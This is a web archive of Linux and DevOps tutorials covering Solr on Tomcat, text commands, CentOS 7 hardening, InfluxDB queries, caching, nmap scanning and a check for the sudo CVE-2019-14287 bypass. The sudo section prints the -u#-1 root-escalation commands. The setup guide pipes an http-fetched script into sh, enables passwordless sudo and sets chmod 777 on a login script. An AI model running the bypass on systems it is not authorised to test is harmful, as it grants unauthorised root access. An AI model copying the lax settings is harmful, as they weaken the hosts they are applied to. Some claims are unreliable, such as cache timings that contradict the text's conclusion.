Category Archives: Linux

Discover DevOps roles and learn Linux from basics to advanced at DevOpsRoles.com. Detailed guides and in-depth articles to master Linux for DevOps careers.

Step-by-Step Guide to Install Tomcat7, Java 1.8, and Solr on CentOS 7

Introduction

In this tutorial, we’ll walk through the process of Install Tomcat7 , Java 1.8, and Solr on CentOS 7. First, ensure your system is up to date by running the necessary updates. Then, proceed to download and install Java 1.8, configuring the environment variables accordingly. Next, set up Tomcat 7, adjusting the necessary configurations for optimal performance.

Finally, integrate Solr into Tomcat to leverage its powerful search capabilities. Throughout the tutorial, I’ll provide step-by-step instructions to guide you seamlessly through each installation process. By the end, you’ll have a fully functional and efficient setup of Tomcat 7, Java 1.8, and Solr on your CentOS 7 system.

Step-by-Step Guide to Install Tomcat7, Java 1.8, and Solr on CentOS 7

Install Tomcat7 java 1.8 and Sorl

Install Java 1.8 and Tomcat 7

sudo yum install java-1.8.0-openjdk*
sudo yum install tomcat
sudo firewall-cmd --zone=public --add-port=8080/tcp --permanent
sudo systemctl restart firewalld.service
sudo systemctl enable tomcat.service
sudo systemctl start tomcat

Download Ant and ivy used to compile Solr as well.

yum install wget
wget -P /home/vagrant/ http://archive.apache.org/dist/lucene/solr/4.10.2/solr-4.10.2-src.tgz
wget -P /home/vagrant/ https://downloads.apache.org//ant/binaries/apache-ant-1.10.8-bin.tar.gz
wget -P /home/vagrant/ https://downloads.apache.org/ant/ivy/2.4.0/apache-ivy-2.4.0-bin.tar.gz
cd /home/vagrant/
tar zxvf solr-4.10.2-src.tgz
tar zxvf apache-ant-1.10.8-bin.tar.gz
tar zxvf apache-ivy-2.4.0-bin.tar.gz

[vagrant@Server01 ~]$ cp apache-ivy-2.4.0/ivy-2.4.0.jar apache-ant-1.10.8/lib/

Setting environment variables

export ANT_HOME=/home/vagrant/apache-ant-1.10.8
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64/
export PATH=${PATH}:/${ANT_HOME}/bin/

Edit /etc/tomcat/server.xml file

<Connector port="8080" protocol="HTTP/1.1"
 connectionTimeout="20000"
 redirectPort="8443" URIEncoding="UTF-8" useBodyEncodingForURI="true" />

Compiling Solr

cd /home/vagrant/solr-4.10.2
ant clean
ant compile
cd solr
ant dist

logging settings

cp solr-4.10.2/solr/example/lib/ext/* /usr/share/tomcat/lib
cp solr-4.10.2/solr/example/resources/log4j.properties /usr/share/tomcat7/lib

Arrangement of War files and various

cp solr-4.10.2/solr/dist/solr-4.10.2-SNAPSHOT.war to /var/lib/tomcat/webapps/solr.war

Create a directory for solr.home

mkdir /var/lib/solr/home
chmod -R a+w /var/lib/solr/home
vi /var/lib/solr/home/solr.xml
<?xml version="1.0" encoding="UTF-8" ?>
<solr persistent="false">
  <cores adminPath="/admin/cores">
  <core name="test" instanceDir="test" config="solrconfig.xml" schema="schema.xml"/>
  </cores>
</solr>

Modify /etc/tomcat/tomcat.conf

JAVA_OPTS="${JAVA_OPTS} -Djavax.sql.DataSource.Factory=org.apache.commons.dbcp.BasicDataSourceFactory -Dsolr.solr.home=/var/lib/solr/home"

Create a directory for the core

mkdir /var/lib/solr/home/test
mkdir /var/lib/solr/home/test/conf
mkdir /var/lib/solr/home/test/data
chmod -R a+x /var/lib/solr/home/test/data
cp solr-4.10.2/solr/example/solr/collection1/conf/* /var/lib/solr/home/test/conf/

please edit as you like it.

vi /var/lib/solr/home/test/conf/solrconfig.xml
vi /var/lib/solr/home/test/conf/schema.xml

Conclusion

In this guide, we have successfully installed and configured Tomcat7, Java 1.8, and Solr on CentOS 7. By following the detailed steps outlined above, you should now have a fully functional setup that is ready for web application deployment and advanced search capabilities.

This combination of technologies provides a robust foundation for developing and managing enterprise-level applications. Remember to regularly update your software to ensure security and performance enhancements. If you encounter any issues or have further questions, don’t hesitate to consult the official documentation or seek help from the community. I hope will this your helpful. Thank you for reading the DevopsRoles page!

Mastering the rev command in Linux: Reversing Text Lines

Introduction

In this guide, we’ll explore how to use the rev command in Linux, a powerful tool for reversing the characters in each line of text. Essential for many DevOps roles, the rev command enhances file manipulation and helps in reversing outputs from other commands. Let’s dive into how this simple yet effective command can streamline your text-processing tasks in Linux environments.

The syntax rev command in Linux

rev [option] [file...]

Some common options for the “rev” command include:

  • -V: Displays the version information for the command.
  • -h: Shows the help information.
  • -c: Treats input as single characters instead of entire lines.

In the manual page, the rev command is described succinctly as a utility to “reverse lines character-wise.” For comprehensive information about the rev command, including its options and examples, refer to the man page by entering man rev in the terminal. This will provide detailed insights into its functionality and usage.

For example rev command

Using the rev command reverses the output of the hostname command as below

[root@ip-10-0-0-236 ~]# hostname
ip-10-0-0-236.us-east-2.compute.internal
[root@ip-10-0-0-236 ~]# hostname | rev
lanretni.etupmoc.2-tsae-su.632-0-0-01-pi
[root@ip-10-0-0-236 ~]#

How to get 8 last characters use the combine rev command and cut command.

[root@ip-10-0-0-236 ~]# hostname
ip-10-0-0-236.us-east-2.compute.internal
[root@ip-10-0-0-236 ~]# hostname | rev | cut -b 1-8 | rev
internal

Sorting File Lines by Last Character

[ec2-user@ip-172-31-45-95 ~]$ cat domain.txt
devopsroles.com
abc.xyz
huuphan.com

[ec2-user@ip-172-31-45-95 ~]$ cat domain.txt  | rev | sort | rev
huuphan.com
devopsroles.com
abc.xyz

Conclusion

Throughout this article, you’ve seen how to utilize the rev command to Reverse characters Linux command. It’s important to remember that the rev command does not alter the original file; it merely displays the reversed output in the terminal or saves it to a new file. I hope you find these examples helpful for mastering the rev command. Thank you for reading at DevopsRoles!

Things to do in the initial configuration of CentOS 7

What do you need to do in the initial configuration of CentOS 7? In this tutorial, Step by step I think need the initial configuration for Centos 7.

The initial configuration of CentOS 7

Time synchronization.

Setting Command history

The command in the example ( date, history,w, top, df) does not remain in the command history.

# cat << "_EOF" > /etc/profile.d/history.sh && source /etc/profile.d/history.sh

# The content command history
 HISTTIMEFORMAT='%F %T '
 HISTSIZE=100000
 HISTFILESIZE=100000
 HISTIGNORE='date,history:w:top:df'
 HISTCONTROL=ignoreboth
 PROMPT_COMMAND='history -a; history -c; history -r'
 _EOF

Enable i-search

Ctrl + r switches to the command history search mode, but by default, it cannot be re-searched in the reverse direction.

# echo '[ -t 0 ] && stty -ixon' > /etc/profile.d/stty.sh && source /etc/profile.d/stty.sh

Writing outputs to log file and console

cat << "_EOF_" > /etc/profile.d/script.sh && source /etc/profile.d/script.sh
# output operation log 
P_PROC=`ps aux | grep $PPID | grep sshd | awk '{ print $11 }'`
if [ "$P_PROC" = sshd: ]; then
  script -q /var/log/script/`whoami`_`date '+%F_%H%M%S'`.log
  exit
fi
_EOF_

# chmod 777 /etc/profile.d/script.sh

Monitor User Activity with psacct

You can use the lastcomm command to check which user executed which command when.

# yum -y install psacct && systemctl start $_ && systemctl enable $_

Detection with OSSEC HIDS

# yum install -y epel-release wget && curl -s http://www.atomicorp.com/installers/atomic | sh && yum install -y ossec-hids-server /var/ossec/bin/ossec-configure
# sed -i.org '/directories check_all/s/"yes"/"yes" realtime="yes"/' /var/ossec/etc/ossec.conf
# systemctl start ossec-hids && systemctl enable $_

Install and enable AIDE

Update Your System

# yum clean all && yum -y update

Prohibit login without password

# sed -i 's/\<nullok\>//g' /etc/pam.d/system-auth

su and sudo settings

# sed -i.org '/NOPASSWD/ s/^# //' /etc/sudoers
# sed -i.org '/use_uid/ s/^#//' /etc/pam.d/su

sudo without password

Modify /etc/sudoers file

%wheel ALL=(ALL)       NOPASSWD: ALL

Passwordless root switch

Modify /etc/pam.d/su file

auth           sufficient      pam_wheel.so trust use_uid

su authorized user limit

modify /etc/pam.d/su file

auth           required        pam_wheel.so use_uid

Adding administrative users

# useradd huupv && passwd $_ && usermod -G wheel $_ && getent group wheel
# sudo -u huupv echo 'huupv@devopsroles.com' > ~/.forward
# sed -i /etc/aliases -e '/root:/ s/^#//' -e '/root:/ s/marc/huupv/' && newaliases
# echo "Test mail" | sendmail root

Changing the hostname

# hostnamectl set-hostname server1.devopsroles.com

The setting of less command.

cat << '_EOF_' >> ~/.bashrc
export VISUAL=vim
export LESS="-M"
_EOF_

The -M option always displays the file name, number of lines, and progress.

vim command

cat << '_EOF_' >> ~/.vimrc && mkdir -p ~/.vim/tmp
set encoding=utf-8
set directory=~/.vim/tmp
set backupdir=~/.vim/tmp
set undodir=~/.vim/tmp
_EOF_

Change the location of temporary files such as .swp.

Yum plugin

# yum -y install epel-release && yum -y yum-axelget yum-changelog yum-cron yum-plugin-ps yum-plugin-remove-with-leaves yum-plugin-rpm-warm-cache yum-plugin-show-leaves yum-utils

utility

There are many commands that are not installed in minimal.

# yum -y install bind-utils net-tools policycoreutils-python psmisc rlwrap traceroute tree vim-enhanced wget

Compression and decompression

# yum -y install epel-release && yum -y install unzip bzip2 lbzip2 pbzip2 pigz pxz

Installing the monitoring tool

Disabling GSSAPIAuthentication

Speed up SSH login by disabling GSSAPIAuthentication.

# sed -i '/GSSAPIAuthentication / s/yes/no/' /etc/ssh/sshd_config

limit of the number of old kernel packages

# sed -e '/installonly_limit/ s/5/2/' -i /etc/yum.conf

Interactive option

cat << "_EOF_" > /etc/profile.d/alias.sh
alias crontab='crontab -i'
alias cp='cp -i'
alias mv='mv -i'
alias rm='rm -i'
_EOF_

File rewrite prohibition by redirection

Edit .bashrc file

set -o noclobber

Yum Disable Excludes

# echo "exclude=kernel* centos*" >> /etc/yum.conf
# echo "alias yum='yum --disableexcludes=all'" >> /etc/profile.d/yum.sh

security settings

sed -i.org /etc/login.defs -e '/PASS_MIN_DAYS/ s/0/1/' -e '/PASS_MAX_DAYS/ s/99999/3650/'
sed -i /etc/profile -e  's/umask 002/umask 027/' -e 's/umask 022/umask 027/'

cat << "_EOF_" > /etc/modprobe.d/blacklist.conf
blacklist usb-storage
blacklist firewire_core
blacklist firewire_ohci
_EOF_

for i in $(find /lib/modules/`uname -r`/kernel/drivers/net/wireless -name "*.ko" -type f) ; do echo blacklist $i >> /etc/modprobe.d/blacklist-wireless ; done
sed -i.org 's/#AllowTcpForwarding yes/AllowTcpForwarding no/' /etc/ssh/sshd_config
sed -i 's/#ClientAliveCountMax 3/ClientAliveCountMax 2/' /etc/ssh/sshd_config
sed -i 's/#Compression delayed/Compression no/' /etc/ssh/sshd_config
sed -i 's/#LogLevel INFO/LogLevel VERBOSE/' /etc/ssh/sshd_config
sed -i 's/#MaxAuthTries 6/MaxAuthTries 2/' /etc/ssh/sshd_config
sed -i 's/#MaxSessions 10/MaxSessions 2/' /etc/ssh/sshd_config
##sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
##sed -i 's/#Port 22/Port 10022/' /etc/ssh/sshd_config
sed -i 's/#TCPKeepAlive yes/TCPKeepAlive no/' /etc/ssh/sshd_config
sed -i 's/#UseDNS yes/UseDNS no/' /etc/ssh/sshd_config
sed -i 's/X11Forwarding yes/X11Forwarding no/' /etc/ssh/sshd_config
sed -i 's/#AllowAgentForwarding yes/AllowAgentForwarding no/' /etc/ssh/sshd_config

cat << "_EOF_" >> /etc/sysctl.conf
kernel.kptr_restrict=2
kernel.sysrq=0
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.all.log_martians=1
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.default.accept_redirects=0
net.ipv4.conf.default.log_martians=1
net.ipv4.tcp_timestamps=0
net.ipv6.conf.all.accept_redirects=0
net.ipv6.conf.default.accept_redirects=0
_EOF_

# sysctl -p
# chmod 700 /usr/bin/as

Fail2ban

# yum -y install epel-release && yum -y install fail2ban{,-systemd}

cat << "_EOF_" > /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1/8 192.168.0.0/24
[sshd]
enabled  = true
_EOF_

# fail2ban-client -d
# systemctl start fail2ban && systemctl enable $_
# fail2ban-client status
# fail2ban-client status sshd

Conclusion

You have the initial configuration of CentOS 7. I hope will this your helpful. Thank you for reading the DevopsRoles page!

Influxdb examples: Enhancing Your Time-Series Data Management

Introduction

InfluxDB, a widely-used open-source time series database, excels in handling large volumes of time-stamped data for applications like monitoring systems, IoT devices, and financial tracking. This tutorial will guide you through querying InfluxDB, demonstrating practical examples and setup instructions.

If you haven’t installed InfluxDB yet, refer to the installation guide provided earlier to get started. This introduction sets the stage for you to effectively manage and analyze time-series data using InfluxDB’s powerful features.

InfluxDB examples

InfluxDB show databases

[root@MonitoringServer ~]# influx
Connected to http://localhost:8086 version 1.7.4
InfluxDB shell version: 1.7.4
Enter an InfluxQL query

> show databases                                                                                                         
name: databases
name
----
_internal
devopsrolesDB
telegraf

Use databases

> use devopsrolesDB                                                                                                              
Using database devopsrolesDB
>

Uptime Server

> select last("uptime_format") as "value" from "system" where "host" =~ /DevopsRoles\.com$/ AND time >= now() - 1h GROUP BY time(60s)

Check Root FS used

> SELECT last("used_percent") FROM "disk" WHERE ("host" =~ /^DevopsRoles\.com$/ AND "path" = '/') AND time >= now() -6h GROUP BY time(5m) fill(null)

Swap used

> SELECT last("used_percent") FROM "swap" WHERE ("host" =~ /^DevopsRoles\.com$/) AND time >= now() -1h GROUP BY time(5m) fill(null)

Users login

> SELECT last("n_users") FROM "system" WHERE ("host" =~ /^DevopsRoles\.com$/) AND time >= now() -1h GROUP BY time(5m) fill(null)

CPU usage

> SELECT last("usage_idle") * -1 + 100 FROM "cpu" WHERE ("host" =~ /^DevopsRoles\.com$/ AND "cpu" = 'cpu-total') AND time >= now() -1h GROUP BY time(5m) fill(null)

RAM Usage

> SELECT last("used_percent") FROM "mem" WHERE ("host" =~ /^DevopsRoles\.com$/) AND time >= now() -1h GROUP BY time(5m) fill(null)

CPU Load

> SELECT mean(load1) as load1,mean(load5) as load5,mean(load15) as load15  FROM "system" WHERE host =~ /^DevopsRoles\.com$/ AND time >= now() -1h GROUP BY time(5m) fill(null)

CPUs number

>  SELECT last("n_cpus") FROM "system" WHERE ("host" =~ /^DevopsRoles\.com$/) AND time >= now() -1h GROUP BY time(5m) fill(null)

Other Influxdb examples

How to list all value systems, swap, CPUs, Memory, and so on.

Enter as following for the system

> select * from "system" where host =~ /^DevopsRoles\.com$/ AND time >= now() -1h

## The output as below:
name: system
time                host                         load1 load15 load5 n_cpus n_users uptime  uptime_format
----                ----                         ----- ------ ----- ------ ------- ------  -------------
1574665340000000000 DevopsRoles.com 0.27  0.03   0.11  4      1       8105215 93 days, 19:26
1574665350000000000 DevopsRoles.com 0.22  0.03   0.1   4      1       8105225 93 days, 19:27
1574665360000000000 DevopsRoles.com 0.19  0.03   0.1   4      1       8105235 93 days, 19:27

CPU

> select * from "cpu" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                                                             
name: cpu
time                cpu       host                         usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal          usage_system         usage_user
----                ---       ----                         ----------- ---------------- ----------        ------------        --------- ---------- -------------        -----------          ------------         ----------
1574670090000000000 cpu-total DevopsRoles.com 0           0                99.92494371410935 0                   0         0          0                    0                    0.025018764076678877 0.050037528153357755
1574670090000000000 cpu0      DevopsRoles.com 0           0                100               0                   0         0          0                    0                    0                    0
1574670090000000000 cpu1      DevopsRoles.com 0           0                99.89989990213955 0                   0         0          0                    0                    0.1001001000954934   0
1574670090000000000 cpu2      DevopsRoles.com 0           0                99.89979960143319 0                   0         0          0                    0                    0.10020040080409609  0
1574670090000000000 cpu3      DevopsRoles.com 0           0                100               0                   0         0          0                    0                    0                    0
1574670100000000000 cpu-total DevopsRoles.com 0           0                99.79989994515057 0.12506253122346286 0         0          0                    0                    0.05002501250212444  0.02501250625561197
1574670100000000000 cpu0      DevopsRoles.com 0           0                99.49949949205266 0.5005005005184352  0         0          0                    0                    0                    0
1574670100000000000 cpu1      DevopsRoles.com 0           0                100               0                   0         0          0                    0                    0                    0
1574670100000000000 cpu2      DevopsRoles.com 0           0                99.79999999517575 0                   0         0          0                    0                    0.09999999999286956  0.09999999998377461
1574670100000000000 cpu3      DevopsRoles.com 0           0                100               0                   0         0          0                    0                    0                    0
1574670110000000000 cpu-total DevopsRoles.com 0           0                99.64982491096929 0.22511255633968244 0         0          0                    0.025012506253392856 0.05002501250223596  0.05002501249768622

DISK

> select * from "disk" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                                                            
name: disk
time                device                         free        fstype host                         inodes_free inodes_total inodes_used mode path         total        used        used_percent
----                ------                         ----        ------ ----                         ----------- ------------ ----------- ---- ----         -----        ----        ------------
1574670150000000000 10.10.10.225:/mnt_nfs/data_volume/ 64795705344 nfs4   DevopsRoles.com 5924993     6553600      628607      rw   /mnt_nfs/data 105554903040 35373711360 35.313883742109724
1574670150000000000 mapper/VolGroup-lv_root        40046198784 ext4   DevopsRoles.com 3014316     3182400      168084      rw   /            51484815360  8823488512  18.0551360162319
1574670150000000000 vda1                           427900928   ext4   DevopsRoles.com 127976      128016       40          rw   /boot        507744256    53628928    11.137196859502726
1574670150000000000 vdb1                           9870200832  ext4   DevopsRoles.com 655325      655360       35          rw   /app         10568843264  161775616   1.612599639149392

Diskio

> select * from "diskio" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:              
name: diskio
time                host                         io_time   iops_in_progress name read_bytes read_time reads  weighted_io_time write_bytes write_time writes
----                ----                         -------   ---------------- ---- ---------- --------- -----  ---------------- ----------- ---------- ------
1574670240000000000 DevopsRoles.com 137167292 0                dm-0 2659918848 2451413   181804 3747940429       51691593728 3745384372 12620365
1574670240000000000 DevopsRoles.com 3102      0                vdb1 5949440    3049      770    5493             315904      2445       59
1574670240000000000 DevopsRoles.com 6376      0                dm-1 7897088    31096     1928   68191            27774976    37096      6781
1574670240000000000 DevopsRoles.com 137161235 0                vda  2674118656 1651142   137682 1886179382       51719428096 1884529301 4253428
1574670240000000000 DevopsRoles.com 667       0                vda1 2124800    370       521    667              47104       297        19
1574670240000000000 DevopsRoles.com 107       0                sr0  155648     107       49     107              0           0          0

Kernel

> select * from "kernel" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                                                           
name: kernel
time                boot_time  context_switches entropy_avail host                         interrupts processes_forked
----                ---------  ---------------- ------------- ----                         ---------- ----------------
1574670390000000000 1566560125 897266212        1320          DevopsRoles.com 611974729  543719
1574670400000000000 1566560125 897267347        1320          DevopsRoles.com 611975497  543719
1574670410000000000 1566560125 897268311        1320          DevopsRoles.com 611976101  543719
1574670420000000000 1566560125 897269308        1355          DevopsRoles.com 611976734  543719
1574670430000000000 1566560125 897270363        1396          DevopsRoles.com 611977420  543719
1574670440000000000 1566560125 897271391        1412          DevopsRoles.com 611978084  543719
1574670450000000000 1566560125 897272328        1412          DevopsRoles.com 611978685  543719
1574670460000000000 1566560125 897273390        1423          DevopsRoles.com 611979457  543719
> 

Network

> select bytes_recv,bytes_sent,drop_in,drop_out from "net" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                        
name: net
time                bytes_recv  bytes_sent  drop_in drop_out
----                ----------  ----------  ------- --------
1574670830000000000 42310540034 60204453178 0       0
1574670840000000000 42310549919 60204469772 0       0
1574670850000000000 42310565133 60204488497 0       0
1574670860000000000 42310577265 60204503755 0       0
1574670870000000000 42310587249 60204520594 0       0
1574670880000000000 42310613504 60204538330 0       0

Processes

> select * from "processes" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                                                         
name: processes
time                blocked dead host                         idle paging running sleeping stopped total total_threads unknown zombies
----                ------- ---- ----                         ---- ------ ------- -------- ------- ----- ------------- ------- -------
1574670990000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   209           0       0
1574671000000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   209           0       0
1574671010000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0
1574671020000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0
1574671030000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0
1574671040000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0
1574671050000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0
1574671060000000000 0       0    DevopsRoles.com 0    0      0       126      0       126   210           0       0

swap

> select * from "swap" where host =~ /^DevopsRoles\.com$/ AND time >= now() - 120s

## The output as below:                                                                                                                                              
name: swap
time                free      host                         in      out      total     used     used_percent
----                ----      ----                         --      ---      -----     ----     ------------
1574671030000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671040000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671050000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671060000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671070000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671080000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671090000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671100000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956
1574671110000000000 831287296 DevopsRoles.com 6680576 27774976 855629824 24342528 2.8449835801889956

How to show tag values.

SHOW TAG VALUES FROM system WITH KEY=host
SHOW TAG VALUES FROM "cpu" WITH KEY = "cpu" WHERE host =~ /$server/
SHOW TAG VALUES FROM "disk" WITH KEY = "device"
SHOW TAG VALUES FROM "net" WITH KEY = "interface" WHERE host =~ /$server/

Conclusion

Through the article, How to query Influxdb examples above. InfluxDB is widely used in various domains, including DevOps, IoT, monitoring and observability, and real-time analytics, due to its high performance, scalability, and ease of use. I hope will this your helpful. Thank you for reading DevOpsRoles.com page

Linux understand Page cache and buffer cache

In this tutorial, I have written about Linux understand Page cache and buffer cache in Linux System.

Most file-system cache data read from disk.

Linux understand Page cache

What does Page cache work?

A cache of data is accessed via the file system.

How to check page cache is actually used.

Create a large file

[root@DevopsRoles ~]# mkdir /test
[root@DevopsRoles ~]# dd if=/dev/zero of=/test/large.txt count=100 bs=10M
100+0 records in
100+0 records out
1048576000 bytes (1.0 GB) copied, 1.62731 s, 644 MB/s
[root@DevopsRoles ~]# echo 3 > /proc/sys/vm/drop_caches

Check memory usage before putting it in the page cache

[root@DevopsRoles ~]# vmstat
 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
  r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
  1  0      0 377344      0  64336    0    0   441  5203  131  293  0  2 97  0  0

[root@DevopsRoles ~]# cat /test/large.txt > /dev/null

Check memory usage after getting on page cache

[root@DevopsRoles ~]# vmstat 
procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 2  0      0   6500      0 435008    0    0  3265  3008  108  179  0  2 98  0  0

We will confirm that accessing data in the cache is fast.

Run command 1s

[root@DevopsRoles ~]# time cat /test/large.txt > /dev/null

real	0m1.068s
user	0m0.003s
sys	0m0.987s

Run command 2s

[root@DevopsRoles ~]# time cat /test/large.txt > /dev/null

real	0m1.064s
user	0m0.003s
sys	0m0.981s

Linux understand buffer cache

What does Buffer cache work?

Cache data accessed via raw I/O. It is a page cache for block devices.

How to check Buffer cache is actually used.

[root@DevopsRoles ~]# vmstat
 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
  r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
  1  0      0   5668      0 435832    0    0  6434  2087  116  132  0  2 98  0  0
 [root@DevopsRoles ~]# dd if=/dev/sda of=/dev/null count=100 bs=10M
 100+0 records in
 100+0 records out
 1048576000 bytes (1.0 GB) copied, 1.59043 s, 659 MB/s

Increase buffer cache (buff)

We will confirm that accessing data in the cache is fast.

Run command 1s

[root@DevopsRoles ~]# vmstat
 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
  r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
  2  0      0  13408 359528  68520    0    0  7715  1888  123  127  0  2 98  0  0
 [root@DevopsRoles ~]# time dd if=/dev/sda of=/dev/null count=100 bs=10M
 100+0 records in
 100+0 records out
 1048576000 bytes (1.0 GB) copied, 1.13208 s, 926 MB/s
 real    0m1.138s
 user    0m0.001s
 sys    0m1.068s

Run command 2s

[root@DevopsRoles ~]# vmstat
 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
  r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
  2  0      0  13664 359220  68520    0    0  8896  1747  130  119  0  2 98  0  0
 [root@DevopsRoles ~]# time dd if=/dev/sda of=/dev/null count=100 bs=10M
 100+0 records in
 100+0 records out
 1048576000 bytes (1.0 GB) copied, 1.13821 s, 921 MB/s
 real    0m1.144s
 user    0m0.001s
 sys    0m1.072s

Conclusion

Linux understand Page cache and buffer cache. I hope will this your helpful. Thank you for reading the DevopsRoles page!

Vulnerability of sudo (CVE-2019-14287)

Step by step Check Vulnerability of sudo CVE-2019-14287 in Linux. This vulnerability has been assigned CVE-2019-14287.

The important thing is that you can run as root even if root is explicitly prohibited.

My environment for Vulnerability of sudo

I have created account TestCVE14287 not permission sudo root.

TestCVE14287    ALL=(ALL,!root) ALL

Step by step Check Vulnerability sudo in Linux

You can see that the command can be executed if you do not root as shown below.

Run command in the picture as below:

Execute id command by TestCVE14287 itself

$ id

Execute whoami command with uid of TestCVE14287

$ sudo -u#7802 whoami 

execute id command with uid = 1234

$ sudo -u#1234 id 

execute id command with root privilege ( Input password of TestCVE14287)

$ sudo id 

execute id command with uid = 0 (root)

$ sudo -u#0 whoami

However, How to vulnerability execute as root as the picture follows.

Run command in the picture as below:

Set -1 and execute id command

$ sudo -u#-1 id

Set 4294967295 and execute id command

$ sudo -u#4294967295 id

Set id and execute id command

$ sudo -u#-1 whoami

Set 4294967295 and execute whoami command

$ sudo -u#4294967295 whoami 

This makes it possible to execute with root privileges even if execution with root is explicitly prohibited by sudoers

Note:

  • PAM session module is not executed at runtime: -u the uid specified in the option does not exist in the password database

Conclusion

Better to use the latest version for security maintenance. Thank you for reading the DevopsRoles page!

How to use nmap command

Introduction

In this tutorial, How to use NMAP Security Scanner on Linux. How to scan port, service name, and ping v.v to target.

The nmap command is a powerful network scanning tool used for discovering hosts and services on a computer network. It provides a wide range of options and functionalities.

Here are some common use cases of the nmap command:

Install Nmap

CentOS

$ sudo yum install nmap.

Debian

$ sudo apt-get install nmap.

Ubuntu

$ sudo apt-get install nmap.

Syntax use nmap command

nmap [Scan Type] [Options] {Target}

Target

For example, Domain: www.huuphan.com, www.devopsroles.com. IP Address: 192.168.1.4, 10.0.0-255.1-254

Scan Type

-sL:    List Scan -- simply list targets to scan
-sn:    Ping Scan -- disable port scan
-sP:    Ping Scan -- go no further than determining if host is online
-sS/sT/sA/sW/sM:    TCP SYN/Connect()/ACK/ Window/Maimon scans
-sV:    Probe open ports to determine service/version info
-sU:    UDP Scan
-sO:    IP protocol scan -- ICMP,EIGRP,
-b:    FTP bounce scan
-n/-R:    Never do DNS resolution/Always resolve[default: sometimes]

Options

-p: Only scan specified ports
-O: Enable OS detection
-P0: Treat all hosts as online -- skip host discovery
-e: Use specified interface

nmap command examples

Scan port

# all ports
$ nmap -v -PO www.huuphan.com

# speified port only
$ nmap -v -PO -p 22 192.168.1.0/24

# post scan & service name
$ nmap -v -sV 192.168.1.110

ping scan

$ nmap -v -sn 192.168.1.0/24

Check the OS of the specified IP

$ nmap -A 192.168.1.110

The nmap option –traceroute to trace the route from the scanning machine to the target host

$ nmap -Pn --traceroute -p 443 www.huuphan.com

Scan multiple hosts:

Specify multiple target IP addresses or hostnames separated by spaces.

Conclusion

Nmap command is a simple command in Linux. These are just a few examples of using the nmap command. It’s important to note that scanning hosts or networks without proper authorization may be illegal or against the terms of service.

Make sure you have the necessary permissions and comply with applicable laws and regulations before using nmap. It is a tips and tricks for troubleshooting Linux. Thank you for reading the DevopsRoles page!

nl command in Linux with example

Introduction

In this tutorial, we will explore how to use the nl command in Linux to number lines of files. The nl command is a powerful tool for adding line numbers to the contents of a file or standard input. This can be incredibly useful for referencing specific lines more easily or for organizing and presenting content more clearly. Let’s delve into practical examples to demonstrate how the nl command can be effectively utilized in various scenarios.

What does the nl command mean?

The nl command stands for “number lines,” and it is used in Linux to add line numbers to the contents of files or standard input. This functionality is particularly useful for referencing specific lines more easily in scripts or documents.

nl command syntax

nl [OPTION]… [FILE]…

Some common options for the “nl” command include:

  • -b <type>: Specifies the numbering style. The <type> can be a (all lines), t (non-empty lines), or n (no lines).
  • -i <increment>: Sets the line number increment. The <increment> can be any positive integer.
  • -v <number>: Sets the starting line number. The <number> can be any positive integer.
  • -w <width>: Specifies the field width for line numbers.

On the man page, the describes it

  • nl – number lines of files.
  • man nl – More details information about nl command.

nl command in Linux with an example

I have created a file nl_command.txt as below

[vagrant@DevopsRoles ~]$ cat nl_command.txt                                    
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Hello world :)

By default, the nl command doesn’t number empty lines

[vagrant@DevopsRoles ~]$ nl nl_command.txt 
      1  HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
      2  Devops Roles.
      3  Devops Roles.
      4  Devops Roles.
      5  Devops Roles.
      6  Hello world :)

How to number empty lines.

[vagrant@DevopsRoles ~]$ nl -b a nl_command.txt                                
      1  HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
      2  Devops Roles.
      3  Devops Roles.
      4  Devops Roles.
      5  Devops Roles.
      6  
